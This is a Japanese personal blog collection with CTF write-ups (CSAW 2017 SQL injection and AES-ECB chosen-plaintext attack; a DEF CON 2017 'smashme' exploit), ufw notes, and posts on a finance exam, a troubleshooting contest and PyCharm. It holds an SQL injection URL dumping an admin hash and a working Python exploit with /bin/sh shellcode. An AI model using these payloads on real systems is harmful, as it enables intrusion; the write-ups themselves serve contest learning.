birabiraのめも

忘れっぽいのでここにメモをしていきます

CSAW CTF 2017 Writeup

はじめに

本当に久しぶりにCTFをやりました。最後にやったのはいつだか覚えていません。 解けた問題ですがやるだけ問しか解けなかったのが残念です。。。

解いた問題

  • Web200 LittleQuery
  • Crypto350 baby_crypt

以上のみとなっております。

Writeup

Web200 LittleQuery

---------------------------------------------
robots.txt

User-agent: *
Disallow: /api

---------------------------------------------
/api/db_explore.php

Must specify mode={schema|preview}

モード指定が必要

---------------------------------------------
/api/db_explore.php?mode=schema

{"dbs":["littlequery"]}

dbとして「littlequery」というものがあることがわかります。  
また、モード指定をすることによってスキーマや内容を見れることは何となく分かるため  
littlequeryのテーブルを確認していきます

---------------------------------------------
/api/db_explore.php?mode=schema&db=littlequery&table=user

{"columns":{"uid":"int(11)","username":"varchar(128)","password":"varchar(40)"}}

littlequeryのスキーマがわかりました。
モードをpreviewにすれば見れるはずです。

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery&table=user

Database 'littlequery' is not allowed to be previewed.

みれん

---------------------------------------------
/api/db_explore.php?mode=schema&db=INFORMATION_SCHEMA

{"tables":["CHARACTER_SETS","COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY","COLUMNS","COLUMN_PRIVILEGES","ENGINES","EVENTS","FILES","GLOBAL_STATUS","GLOBAL_VARIABLES","KEY_COLUMN_USAGE","OPTIMIZER_TRACE","PARAMETERS","PARTITIONS","PLUGINS","PROCESSLIST","PROFILING","REFERENTIAL_CONSTRAINTS","ROUTINES","SCHEMATA","SCHEMA_PRIVILEGES","SESSION_STATUS","SESSION_VARIABLES","STATISTICS","TABLES","TABLESPACES","TABLE_CONSTRAINTS","TABLE_PRIVILEGES","TRIGGERS","USER_PRIVILEGES","VIEWS","INNODB_LOCKS","INNODB_TRX","INNODB_SYS_DATAFILES","INNODB_FT_CONFIG","INNODB_SYS_VIRTUAL","INNODB_CMP","INNODB_FT_BEING_DELETED","INNODB_CMP_RESET","INNODB_CMP_PER_INDEX","INNODB_CMPMEM_RESET","INNODB_FT_DELETED","INNODB_BUFFER_PAGE_LRU","INNODB_LOCK_WAITS","INNODB_TEMP_TABLE_INFO","INNODB_SYS_INDEXES","INNODB_SYS_TABLES","INNODB_SYS_FIELDS","INNODB_CMP_PER_INDEX_RESET","INNODB_BUFFER_PAGE","INNODB_FT_DEFAULT_STOPWORD","INNODB_FT_INDEX_TABLE","INNODB_FT_INDEX_CACHE","INNODB_SYS_TABLESPACES","INNODB_METRICS","INNODB_SYS_FOREIGN_COLS","INNODB_CMPMEM","INNODB_BUFFER_POOL_STATS","INNODB_SYS_COLUMNS","INNODB_SYS_FOREIGN","INNODB_SYS_TABLESTATS"]}

なんにもない

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery`.`user+%23+&table=user

[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

ログインするだけ

Crypto350 baby_crypt

概要

AES ECBモードを使って暗号化されている模様
選択平文攻撃ってこういう攻撃手法だったんですね。初めてでした。

input + flag 自分の入力のあとにflagがくっつけられて暗号化されるようです。

ECBモードではブロック(16バイト)ごとに暗号化が行われるため
平文がブロック単位で一致していれば、暗号文がおなじになるという性質を利用します。

例)自分の入力値が「32バイトの\0」場合(*は未知のデータ。flag) f:id:bira09:20170918133037p:plain

上段の2ブロックを自分の入力で占領(?)しています。

実際に問題サーバーに投げてみると

['cdd75f5151595b98fb17bea583e7ac58', 'cdd75f5151595b98fb17bea583e7ac58', 'f9cc1330ae5830732a18d1a23211ffbc', 'e3725519adb9e6f10d658d87c80825ed']

という結果になり、先頭2ブロックの暗号文の値が一致しています。

攻撃方法

自分の入力を少し工夫します。 f:id:bira09:20170918134016p:plain

自分の入力値のバイト数を31バイトにすることによってflagの先頭文字を2ブロック目に調整することが可能です。
この状態であれば15番目の入力値を総当りすることで1ブロック目と2ブロック目が一致する値を見つけることができるはずです。

あとはこれを繰り返す事ができるようにプログラムを組むだけでした。

参考

感想

久しぶりで辛かったです。proがすごすぎて何も出来ませんでした。
ありがとうございました。

ufw まとめ

ufwめんどかったから使ったコマンドまとめる

firewallを有効化する

# ufw enable

Firewall is active and enabled on system startup

firewallを無効化する

# ufw disable

設定確認

# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), deny (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
80                         ALLOW IN    Anywhere
443                        ALLOW IN    Anywhere
Anywhere                   ALLOW IN    192.168.1.2
80 (v6)                    ALLOW IN    Anywhere (v6)
443 (v6)                   ALLOW IN    Anywhere (v6)

設定追加

ポートで

ufw allow 80

ipで

ufw allow from 192.168.1.2

ポートフォワーディング

1.フォワーディング有効化

# vim /etc/ufw/sysctl.conf
8行目辺り
net/ipv4/ip_forward=1
を有効化

2.ポートフォワーディング

# vim /etc/ufw/before.rules

*nat
:PREROUTING ACCEPT [0:0]
-A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
-A PREROUTING -p tcp --dport 2223 -j REDIRECT --to-port 23
COMMIT
を先頭行に追加

設定有効化

ufw reload

はい。

defcon 2017 smashme

先輩の教えと、後輩の気付きを横取りして解いた
rdiに入力値のの先頭アドレスがあったからpush rdi; ret;しただけ

import struct, socket, sys, telnetlib
 
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

p = lambda x: struct.pack("<L", x)

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload  = shellcode
payload += "Smash me outside, how bout d"
payload += "A" * (72 - len(payload))
payload += p(0x42ef4e) #0x0042ef4e: push rdi ; ret  ;  (1 found)


s = sock("smashme_omgbabysfirst.quals.shallweplayaga.me",57348)
s.send(payload + "\n")

shell(s)

三級ファイナンシャル・プランニング技能士になった

せっかく資格試験に受かったので一応記録として残しておこうと思う。
資格はめっちゃ簡単らしいけど、それなりに勉強しないと落ちる。

FPって?

www.u-can.co.jp
ユーキャンのページが分かりやすかった。
要するに保険とか、税金などその名の通りお金に関する資格。
知っといて損はないよね

受けた経緯

去年の年末、バイトで稼いだ金額が103万円超えるとか超えないとかで
どうして超えると面倒なのかとかを調べてたところから始まり。
そこから、社会人になる上で保険とか税金とか知らないとヤバくね???
って思ったのが勉強する決心を決めた。

勉強量について

たぶん2週間くらいで受かると思う。
ただ、相続とか贈与とかは現状自分には関係なかったところだったから
イメージが掴めず、大変だった。

感想

この資格を受けて本当に良かったと思う。
今まで知らなかったようなこととか勉強できたし
こういうのって法律で決まってたりするから知らないからというものでもないもの。
これからも継続的に勉強をしていきたいと思う。

あと、合格証書がかっこいい。うれしい。
みなさんも受けてみてはいかがでしょうか。

トラコン最優秀賞とった

せっかく最優秀賞とったので調子乗ってブログにまとめたいと思います。
めっちゃうれしい。 あとこれは個人の感想です。

blog.hnron.net

こちらのブログが 素晴らしかったので真似して書こうと思います
今後トラコンに出る人の参考になれば幸いです


お前誰?

情報科学専門学校 情報セキュリティ学科4年
サークルの「IPFactory」に在籍している普通の学生

近い将来、SOCで働くことが決まっているため、
ログ解析とかSIEMとかの技術を勉強してる


トラコンについて

トラコンって?

icttoracon.net

今まで第2回大会と第4回大会、今回の第6回大会に出場しました
第2回大会は今でも印象に残っていて1日目は環境構築を行って、2日目はその作った環境に トラブルが起きてそれを直すって感じだった
当時は全く勉強をしていなかったカスだったけど
一緒に出てくれた先輩とかが強くてものすごい勉強になってこのコンテストやべぇなとなっていた

昨今のトラブルシューティングコンテストは学生主体となり、やり方がガラッと変わったので
1日目からがっつりトラブルシューティングを行うことになった。しんどさが倍になった。

勉強をする範囲も膨大なのでトラコン用の勉強をすることはほぼ不可能で
勝つためには日ごろ興味を持ってネットワークやサーバーの構築を行っているかがカギとなる

結果発表の時に運営の人が言っていた「経験が必要」的な言葉は 「ネットワークやサーバーを日ごろからいじってる」って意味なのかなと思う
このコンテストを機にネットワークやサーバーを好きになる人もいるだろうし 学生ならとりあえず一回は出てみよう! ほんとおススメ!

今回の問題はこんな感じでした。


IPFactoryの作戦

  • メンバーそれぞれの技量に任せる

これだけだった。

ネットワーク3人、サーバー1人、なんでも1人の構成で出場。私はサーバー担当。

ある程度チーム内でこの人は何ができて何ができないかは知っていたため
ネットワークっぽい問題をネットワークチームにぶん投げ。
ネットワークチームはとりあえず問題をみておおよその難易度の検討をつけて 1問2人であーだこーだ言いながらやってたみたい。たぶん。

サーバーチームはWeb寄りの私と、サーバーガチプロのなんでも屋一人で分野ごと分担。
1人1問でずっとやってた。

みんな解きたい問題勝手に解いてって感じで、一応同じ問題解くと効率悪いと思って割り当てだけしてた。
ネットワークチームは1問目と3問目やって私は2問目、きみは4問目。ハイ頑張ってスタイル。

事前に集まって作戦会議とか事前勉強とかは全くしてない(小声)

f:id:bira09:20160908180436p:plain

いや、作戦会議してました。

情報共有はどうしようかとなったときに、slackでいいかとなりました。
configをすぐ張り付けられるし便利そうなため。

ホワイトボードも一応使ったけど、構成図を書いただけであんまり使ってなさそうだった。 席から遠くて書くのも面倒だし、書いている時間がもったいなかった。(サーバー側だったからかも)

ネットワークチームは椅子をルーターの前までもっていってやりやすいようにやってたみたいだし


 1日目

チームの一人が深夜バスに乗り遅れて、朝一の新幹線で颯爽と登場
チームみんな予定通り到着。

いざコンテストが始まってみるとサーバーにつなぐための自分のIPアドレスがわからなかったりでWireshark必須だった。

問題自体は自分の分野だったしそこまで苦ではなかった。 sql_modeとか、pam_mountについては初めて知ったし
「めっちゃ便利」とか思ってた。

1日目は普通に自信あったし、1日目終了時でどこのチームも「だめでした、、、」って言ってたので
「勝ったわこれ」と心の中で思ってたのは秘密。


2日目

午前中も調子よく問題が解けて良かったけど
午後は完全に意味不明で終わった。

作戦は特に変わらなかったけど、ネットワークチームから1人持ってきて
サーバー問をやってもらってたけど撃沈

どう考えても2日目の午後の問題多いし原因わからんしで、少しだけイライラしてた♡ 3位くらいになれればいいかなと思ってたけど1位になれたのでうれしい


感想

ドMが集まるこのコンテストはかなり楽しいし、かなりしんどいけど本当にためになると思うし
ログの大切さだとかネットワーク、サーバーの知識を問われるコンテストはあんまりないのでは?と思う

学校でも若干持ち上げてくれるし、神奈川新聞にも小さな記事で載ることができたし
いい思い出ができた。

私はこれ以降、このコンテストに出るつもりはあまりないです。
なので後輩が出場してもらってぜひ上位をとってきてほしいです。

がんばって。


といた問題

ELFのバイナリがあってそのバイナリがMySQLに対して問い合わせているよう。
旧環境、新環境の2つがあって新環境に移行したら、いろいろできなくなっちゃったって話みたい。

straceでエラー文確認して、ググって対処して終わり。

  • pam_mountのやつ

なんか設定を見るとパスとかがほんと微妙に間違っていたから
動くように直した

これも微妙に設定が違っていたからいろいろなおした

Pycharmでライブラリのパスを追加

ほんとにいつも忘れるのでメモ

PyCharm -> Preferences -> Project Interpreter

この時の一番右上の設定マークのボタンを押してmoreを選択。

そして、+とかーとかのところにある
f:id:bira09:20141124030022p:plain
の一番右のフォルダっぽいのを選択。

+でパスを追加する

OK!